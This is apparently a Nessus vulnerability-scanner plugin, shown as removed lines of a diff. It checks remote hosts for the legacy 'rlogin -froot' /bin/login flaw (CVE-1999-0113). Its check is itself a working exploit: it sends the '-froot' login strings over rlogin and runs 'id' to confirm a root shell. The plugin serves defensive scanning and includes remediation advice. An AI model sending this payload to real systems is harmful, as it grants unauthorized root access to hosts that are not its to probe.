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- #
- # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
- #
- # See the Nessus Scripts License for details
- #
-
- if(description)
- {
- script_id(10161);
- script_bugtraq_id(458);
- script_version ("$Revision: 1.5 $");
- script_cve_id("CVE-1999-0113");
- name["english"] = "rlogin -froot";
- name["francais"] = "rlogin -froot";
- script_name(english:name["english"], francais:name["francais"]);
-
- desc["english"] = "
- The remote /bin/login seems to be vulnerable to the old
- 'rlogin -froot' bug.
-
- Any attacker may use this old flaw to gain root access
- on this system.
-
- Solution : Upgrade your /bin/login, or comment out the 'rlogin' line in
- /etc/inetd.conf and restart the inetd process
-
- Risk factor : High";
-
-
-
- script_description(english:desc["english"]);
-
- summary["english"] = "Checks for rlogin -froot";
-
- script_summary(english:summary["english"]);
-
- script_category(ACT_GATHER_INFO);
-
-
- script_copyright(english:"This script is Copyright (C) 2002 Renaud Deraison");
- family["english"] = "Gain root remotely";
- script_family(english:family["english"]);
- script_dependencie("find_service.nes");
- script_require_ports("Services/rlogin", 513);
- exit(0);
- }
-
- #
- # The script code starts here
- #
-
- port = get_kb_item("Services/rlogin");
- if(!port)port = 513;
-
- if(get_port_state(port))
- {
- soc = open_priv_sock_tcp(dport:port);
- if(soc)
- {
- s1 = raw_string(0);
- s2 = "-froot" + raw_string(0) + "-froot" + raw_string(0) + "id" + raw_string(0);
- send(socket:soc, data:s1);
- send(socket:soc, data:s2);
- a = recv(socket:soc, length:1024, min:1);
- if(strlen(a))
- {
- send(socket:soc, data:string("id\r\n"));
- r = recv(socket:soc, length:4096);
- if("uid=" >< r)security_hole(port);
- }
- close(soc);
- }
- }
-